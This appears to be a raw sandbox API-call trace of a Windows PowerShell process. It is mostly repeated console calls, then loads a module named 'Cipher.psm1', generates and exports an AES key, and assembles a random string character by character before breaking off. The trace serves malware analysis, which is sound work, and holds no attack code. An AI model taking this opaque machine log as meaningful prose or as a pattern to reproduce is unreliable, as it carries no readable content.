GetConsoleOutputCP () returned 0x1b5 [0134.014] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0134.014] GetConsoleOutputCP () returned 0x1b5 [0134.014] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.014] GetConsoleOutputCP () returned 0x1b5 [0134.015] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.015] GetConsoleOutputCP () returned 0x1b5 [0134.015] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0134.015] GetConsoleOutputCP () returned 0x1b5 [0134.015] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0134.015] GetConsoleOutputCP () returned 0x1b5 [0134.016] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.016] GetConsoleOutputCP () returned 0x1b5 [0134.016] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.016] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0134.017] GetConsoleOutputCP () returned 0x1b5 [0134.017] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0134.017] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0134.018] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69b01a8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x69b01a8*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0134.018] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0134.019] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0134.024] GetConsoleOutputCP () returned 0x1b5 [0134.025] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0134.025] GetConsoleOutputCP () returned 0x1b5 [0134.025] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0134.025] GetConsoleOutputCP () returned 0x1b5 [0134.026] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0134.026] GetConsoleOutputCP () returned 0x1b5 [0134.026] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0134.026] GetConsoleOutputCP () returned 0x1b5 [0134.027] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.027] GetConsoleOutputCP () returned 0x1b5 [0134.027] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.027] GetConsoleOutputCP () returned 0x1b5 [0134.028] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.028] GetConsoleOutputCP () returned 0x1b5 [0134.028] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.028] GetConsoleOutputCP () returned 0x1b5 [0134.029] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.029] GetConsoleOutputCP () returned 0x1b5 [0134.029] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.029] GetConsoleOutputCP () returned 0x1b5 [0134.029] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.030] GetConsoleOutputCP () returned 0x1b5 [0134.030] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.030] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0134.030] GetConsoleOutputCP () returned 0x1b5 [0134.031] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0134.031] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0134.031] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69b0c00*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x69b0c00*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0134.032] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0134.032] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0134.039] GetConsoleOutputCP () returned 0x1b5 [0134.040] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.040] GetConsoleOutputCP () returned 0x1b5 [0134.040] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.040] GetConsoleOutputCP () returned 0x1b5 [0134.041] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.041] GetConsoleOutputCP () returned 0x1b5 [0134.041] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.041] GetConsoleOutputCP () returned 0x1b5 [0134.041] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.041] GetConsoleOutputCP () returned 0x1b5 [0134.042] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.042] GetConsoleOutputCP () returned 0x1b5 [0134.042] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.042] GetConsoleOutputCP () returned 0x1b5 [0134.043] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.043] GetConsoleOutputCP () returned 0x1b5 [0134.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.044] GetConsoleOutputCP () returned 0x1b5 [0134.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.044] GetConsoleOutputCP () returned 0x1b5 [0134.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.045] GetConsoleOutputCP () returned 0x1b5 [0134.045] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.045] GetConsoleOutputCP () returned 0x1b5 [0134.045] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.045] GetConsoleOutputCP () returned 0x1b5 [0134.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.046] GetConsoleOutputCP () returned 0x1b5 [0134.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.046] GetConsoleOutputCP () returned 0x1b5 [0134.047] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.047] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0134.047] GetConsoleOutputCP () returned 0x1b5 [0134.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0134.048] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.048] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69b29ec*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x69b29ec*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0134.049] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.049] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0134.055] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.055] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0134.056] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.057] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e02828) returned 1 [0134.057] CryptGenKey (in: hProv=0x8e02828, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84b38) returned 1 [0134.057] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.058] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.058] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69bc29c, pdwDataLen=0x99ae894 | out: pbData=0x69bc29c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.058] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xc22c\x69b\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0134.058] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.058] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.058] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.058] SysStringLen (param_1="") returned 0x8 [0134.058] SysStringLen (param_1="6") returned 0x8 [0134.059] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.059] SysStringLen (param_1="\xe607\x2e96\x89f2\x7493\xb21\x1f9a\xa42\x5d3b") returned 0x8 [0134.059] SysStringLen (param_1="\xe607\x2e96\x89f2\x7493\xb21\x1f9a\xa42\x5d3b") returned 0x8 [0134.059] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.059] SysStringLen (param_1="6N") returned 0x8 [0134.059] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.059] SysStringLen (param_1="\xc7fa\x67e\x5db5\x1999\x24f6\x3f14\x743f\xa894") returned 0x8 [0134.059] SysStringLen (param_1="\xc7fa\x67e\x5db5\x1999\x24f6\x3f14\x743f\xa894") returned 0x8 [0134.059] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.059] SysStringLen (param_1="6NY") returned 0x8 [0134.059] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.059] SysStringLen (param_1="\xa03a\xb2c7\x414b\x628f\x6b0f\x5a37\x5cf4\xd04") returned 0x8 [0134.059] SysStringLen (param_1="\xa03a\xb2c7\x414b\x628f\x6b0f\x5a37\x5cf4\xd04") returned 0x8 [0134.059] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.059] SysStringLen (param_1="6NYK") returned 0x8 [0134.059] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.060] SysStringLen (param_1="\xbba3\x6708\xadbd\xb5b\xf428\x9b75\x7810\xae8a") returned 0x8 [0134.060] SysStringLen (param_1="\xbba3\x6708\xadbd\xb5b\xf428\x9b75\x7810\xae8a") returned 0x8 [0134.060] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.060] SysStringLen (param_1="6NYKa") returned 0x8 [0134.060] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.060] SysStringLen (param_1="\x9dd7\x4a9e\x350\x6472\x2dc4\x2ff2\x70e\x2a7") returned 0x8 [0134.060] SysStringLen (param_1="\x9dd7\x4a9e\x350\x6472\x2dc4\x2ff2\x70e\x2a7") returned 0x8 [0134.060] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.060] SysStringLen (param_1="6NYKa2") returned 0x8 [0134.060] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.060] SysStringLen (param_1="\x83ee\xd107\x77e3\x363f\xe34\xad81\x9aac\xd2e") returned 0x8 [0134.060] SysStringLen (param_1="\x83ee\xd107\x77e3\x363f\xe34\xad81\x9aac\xd2e") returned 0x8 [0134.060] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.060] SysStringLen (param_1="6NYKa2i") returned 0x8 [0134.060] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.061] SysStringLen (param_1="\x1c62\x2fdd\x5f3f\xbdb6\xf016\xa145\xe3ce\xec1c") returned 0x8 [0134.061] SysStringLen (param_1="\x1c62\x2fdd\x5f3f\xbdb6\xf016\xa145\xe3ce\xec1c") returned 0x8 [0134.061] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.061] SysStringLen (param_1="6NYKa2iA") returned 0x8 [0134.061] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.061] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa") returned 0x8 [0134.061] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa") returned 0x8 [0134.061] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa") returned 0x8 [0134.061] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa") returned 0x10 [0134.061] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.061] SysStringLen (param_1="6NYKa2iA7酗뽒௯﾿玓啕") returned 0x10 [0134.061] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.061] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\xfb07\x6a2c\x6809\xe67c\x5b0c\x6a3b\xcd8\xebd3") returned 0x10 [0134.061] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\xfb07\x6a2c\x6809\xe67c\x5b0c\x6a3b\xcd8\xebd3") returned 0x10 [0134.061] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.062] SysStringLen (param_1="6NYKa2iA7+뽒௯﾿玓啕") returned 0x10 [0134.062] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.062] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x45f2\x9c4f\x3f37\xe5c5\x65fe\x7191\x6886\x2dfd") returned 0x10 [0134.062] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x45f2\x9c4f\x3f37\xe5c5\x65fe\x7191\x6886\x2dfd") returned 0x10 [0134.062] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.062] SysStringLen (param_1="6NYKa2iA7+R௯﾿玓啕") returned 0x10 [0134.062] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.062] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x7996\xa474\x371\x5cb\xd207\xc3fc\xa081\x6576") returned 0x10 [0134.062] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x7996\xa474\x371\x5cb\xd207\xc3fc\xa081\x6576") returned 0x10 [0134.062] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.062] SysStringLen (param_1="6NYKa2iA7+Re﾿玓啕") returned 0x10 [0134.062] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.062] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x3f2c\x55a1\x515d\xa050\xa5b7\x9c04\xa444\xaf7d") returned 0x10 [0134.062] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x3f2c\x55a1\x515d\xa050\xa5b7\x9c04\xa444\xaf7d") returned 0x10 [0134.062] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.062] SysStringLen (param_1="6NYKa2iA7+ReD﾿玓啕") returned 0x10 [0134.062] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.063] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\xbdfb\xb9e3\xd03a\xaf55\x341f\x50a6\x9a88\x9b2e") returned 0x10 [0134.063] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\xbdfb\xb9e3\xd03a\xaf55\x341f\x50a6\x9a88\x9b2e") returned 0x10 [0134.063] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.063] SysStringLen (param_1="6NYKa2iA7+ReD4玓啕") returned 0x10 [0134.063] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.063] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\xdaaa\xf2b6\xba5f\x6fd7\x4fcb\x690\xd866\xb265") returned 0x10 [0134.063] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\xdaaa\xf2b6\xba5f\x6fd7\x4fcb\x690\xd866\xb265") returned 0x10 [0134.063] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.063] SysStringLen (param_1="6NYKa2iA7+ReD4G啕") returned 0x10 [0134.063] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.063] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x42fd\xc635\x189f\x95f0\x2e47\xc3db\xa69b\x2903") returned 0x10 [0134.063] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x42fd\xc635\x189f\x95f0\x2e47\xc3db\xa69b\x2903") returned 0x10 [0134.063] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.063] SysStringLen (param_1="6NYKa2iA7+ReD4Gb") returned 0x10 [0134.063] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.063] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e") returned 0x10 [0134.064] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e") returned 0x10 [0134.064] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e") returned 0x10 [0134.064] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e") returned 0x18 [0134.064] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.064] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3⾸쨃㱺初溶ᆍ") returned 0x18 [0134.064] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.064] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x363c\x98ab\xb6fc\x8113\x1d07\x709d\x8101\x1d03") returned 0x18 [0134.064] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x363c\x98ab\xb6fc\x8113\x1d07\x709d\x8101\x1d03") returned 0x18 [0134.064] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.064] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3u쨃㱺初溶ᆍ") returned 0x18 [0134.064] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.064] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x4146\x7933\xbc0f\x647\xe07c\x56da\x618a\x89a6") returned 0x18 [0134.064] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x4146\x7933\xbc0f\x647\xe07c\x56da\x618a\x89a6") returned 0x18 [0134.064] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.064] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uK㱺初溶ᆍ") returned 0x18 [0134.065] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.065] SysStringLen 